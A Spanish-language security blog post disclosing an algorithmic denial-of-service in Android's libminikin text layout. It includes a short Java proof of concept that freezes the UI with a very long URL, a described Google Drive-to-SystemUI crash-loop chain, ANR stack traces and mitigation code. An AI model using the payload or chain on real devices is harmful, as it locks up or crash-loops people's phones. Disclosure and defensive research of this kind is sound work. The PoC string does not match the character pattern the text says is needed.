Algorithmic DoS en libminikin.so

Algorithmic DoS en libminikin.so – Cómo una URL de 70 KB congela cualquier Android

Una URL de 70.000 caracteres puede congelar cualquier teléfono Android durante 10–16 segundos. No es corrupción de memoria. Es un ataque algorítmico que explota la complejidad O(n²) del motor de diseño de texto nativo de Android. Y lo peor: cualquier aplicación con un TextView es vulnerable.

He documentado 31 vectores en 9 empresas, incluyendo Google, Meta, Microsoft, Mozilla, Opera, DuckDuckGo, Brave, Tor Project y Xiaomi. El fallo reside en libminikin.so, el motor de diseño de texto de Android, y afecta a todos los dispositivos con Android 9 a 16.

1. El problema: Algoritmos que se vuelven en tu contra

libminikin.so implementa el algoritmo de salto de línea óptimo (Knuth-Plass) en la función LineBreakOptimizer::computeBreaks. Este algoritmo tiene complejidad O(n²) en el peor caso: si duplicas la longitud del texto, el tiempo de procesamiento se multiplica por cuatro.

Para un texto normal de 200 caracteres, el tiempo es imperceptible. Pero para una URL de 70.000 caracteres con la estructura adecuada, el algoritmo ejecuta millones de operaciones y bloquea el hilo de la interfaz durante más de 10 segundos.

  📌 Idea clave: No es la longitud, es la estructura. Una URL con caracteres como #, /, % y € multiplica el número de "candidatos a salto de línea", y el algoritmo se dispara.

2. La estructura del ataque: Caracteres que multiplican el caos

Carácter	Función en la URL	Efecto en libminikin
`#`	Fragmento (separador lógico)	Duplica las decisiones de salto de línea
`/`	Separador de rutas	Cada barra es un punto de ruptura → O(n²) con el número de barras
`%`	Codificación porcentual	Expansión UTF-8 → UTF-16, fragmenta la cadena
`€`	Carácter multibyte	Propiedades de salto de línea ambiguas → el algoritmo explora ambas opciones

El patrón óptimo repite miles de veces. Cada 9 bytes generan múltiples puntos de decisión y el algoritmo explota.

3. Prueba de concepto mínima (20 líneas)

Esta aplicación de prueba no contiene código de navegador. Solo un TextView con el payload malicioso. El resultado es idéntico al de los navegadores:

// MainActivity.java – Android mínimo
public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // Payload: 70.000 caracteres con patrón amplificador
        String payload = "https://example.com/" +
            new String(new char[23000]).replace("\0", "23");
        
        TextView tv = new TextView(this);
        tv.setText(payload);
        setContentView(tv);
    }
}

Resultado: La UI se congela durante 10–16 segundos. El stack trace nativo confirma que libminikin es el único responsable.

4. Vectores de ataque: Más allá de los navegadores

El fallo no se limita a los navegadores. Cualquier aplicación que muestre texto en un TextView sin truncar es un vector de ataque:

Componente / Aplicación	¿Muestra URL larga?	Vulnerabilidad observada
Chrome (menú contextual)	Sí	✅ ANR de 5+ segundos
Firefox (diálogo externo)	Sí	✅ ANR de 16 segundos (enlace real de Gmail)
Opera / Opera Mini	Sí	✅ Crash con `TransactionTooLargeException`
DuckDuckGo	Sí (historial)	✅ Bucle de cierre permanente
Gmail (vista previa de enlace)	Sí	⚠️ Potencial
WhatsApp (vista previa de enlace)	Sí	⚠️ Potencial
Cualquier app con TextView	Sí	✅ Confirmado con PoC de 20 líneas

5. El vector crítico: STA-015-DL (SystemUI crash loop)

🔥 CVSS 8.6 (CRÍTICO) – Un solo clic en un enlace de Google Drive provoca un bucle de cierre de SystemUI que requiere reinicio forzado.

La cadena de ataque STA-015-DL demuestra que el problema trasciende las aplicaciones y afecta a SystemUI, la interfaz del sistema:

La víctima hace clic en un archivo HTML alojado en Google Drive.
Google Drive lanza un Intent.ACTION_VIEW con una URL malformada.
La URL bypasea todas las validaciones del navegador porque llega a través de callingPackage=com.google.android.apps.docs (certificado por Android).
La URL corrompe el estado de TaskPersister en disco.
SystemUI intenta leer el estado → DeadObjectException → bucle de cierre.
Recuperación: reinicio forzado del dispositivo.

Evidencia de campo: Un dispositivo en producción (Xiaomi Redmi Note 14 5G, Android 16) registró 85 SystemUI crashes en 4 días, con un tiempo mínimo de supervivencia de 374ms.

// SystemUI crash en el arranque – bugreport 2026-05-26
// Process-Runtime: 374ms – crashea antes de renderizar cualquier UI
android.os.BadParcelableException: Failure retrieving array; only received 1 of 4
  at android.content.pm.BaseParceledListSlice.<init>(...)
  at com.android.wm.shell.sysui.ShellInit.init(...)  ← crash en el arranque
Caused by: android.os.DeadObjectException: Transaction failed on small parcel

6. Stack traces nativos (evidencia forense)

Chrome – Menú contextual (24 de mayo de 2026)

// ANR — Chrome PID 3533
"main" prio=5 tid=1 Native   ← UI THREAD BLOCKED

native: minikin::getPrevWordBreakForCache     libminikin.so
native: minikin::LayoutCacheKey::LayoutCacheKey  libminikin.so
native: minikin::LayoutCache::getOrCreate     libminikin.so
native: minikin::StyleRun::getLineMetrics     libminikin.so
native: minikin::MeasuredText::getLineMetrics libminikin.so
native: minikin::LineBreakOptimizer::computeBreaks  ← O(n²) en URL larga
native: minikin::breakLineOptimal             libminikin.so
native: android::nComputeLineBreaks           libhwui.so

at android.widget.TextView.onMeasure (TextView.java:11486)
at org.chromium.chrome.browser.contextmenu.ContextMenuListView.onMeasure
   ↑ MENÚ CONTEXTUAL DE CHROME — long-press en URL sobredimensionada

Firefox – Diálogo de aplicación externa (10 de junio de 2026)

// org.mozilla.firefox PID 3506 — ANR 2026-06-10 — 16.006 ms
"main" prio=5 tid=1 Native   ← UI THREAD BLOCKED 16.006 ms

native: minikin::LayoutCacheKey::LayoutCacheKey+120  libminikin.so
native: minikin::LayoutCache::getOrCreate             libminikin.so
native: minikin::LayoutPieces::getOrCreate            libminikin.so
native: minikin::StyleRun::getLineMetrics             libminikin.so
native: minikin::MeasuredText::getLineMetrics         libminikin.so
native: minikin::LineBreakOptimizer::computeBreaks+1752  ← O(n²) en URL larga
native: minikin::breakLineOptimal+476                 libminikin.so
native: android::nComputeLineBreaks+356               libhwui.so

at org.mozilla.fenix.customtabs.ExternalAppBrowserActivity URL rendering
// Trigger: Enlace REAL de Gmail — NO una prueba controlada

7. Mitigación

7.1 A nivel de framework (Google/AOSP)

Google debería implementar un límite de entrada antes de ejecutar el algoritmo O(n²):

// En LineBreakOptimizer.cpp
if (textLength > MAX_SAFE_TEXT_LENGTH_FOR_OPTIMIZER) {
    return computeBreaksGreedy(measured, start, end, constraints);  // O(n)
}

7.2 A nivel de aplicación (inmediato)

Los desarrolladores pueden truncar el texto antes de mostrarlo en un TextView:

private static final int MAX_SAFE_LENGTH = 8_192;

String safe = text.length() > MAX_SAFE_LENGTH
    ? text.substring(0, MAX_SAFE_LENGTH) + "…"
    : text;
textView.setText(safe);

8. Conclusión

La complejidad O(n²) en libminikin convierte una URL de 70 KB en un arma de denegación de servicio que congela cualquier Android que la muestre en un TextView sin truncar. No es corrupción de memoria, es explotación algorítmica — usar la propia complejidad del sistema en su contra.

Google ha empezado a moverse (LargePayloadSupport, savedstate 1.5.0), pero no hay parche público para libminikin a fecha de junio de 2026. La comunidad y los desarrolladores pueden aplicar mitigaciones inmediatas truncando el texto antes de mostrarlo.

El 30 de julio de 2026 publicaré el whitepaper completo con los 31 vectores documentados y la evidencia forense completa. Si tu aplicación usa TextView, ya estás avisado.

Manuel Garcia Peña (Lostmon)
Investigador independiente · lostmon@gmail.com
Blog: lostmon.blogspot.com

Lostmon Blogger